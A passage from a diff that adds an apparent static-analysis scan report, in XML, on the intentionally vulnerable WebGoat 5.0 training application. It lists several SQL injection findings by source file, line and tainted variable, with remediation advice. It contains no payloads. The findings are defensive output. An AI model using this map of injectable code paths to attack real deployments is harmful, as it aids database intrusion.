+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
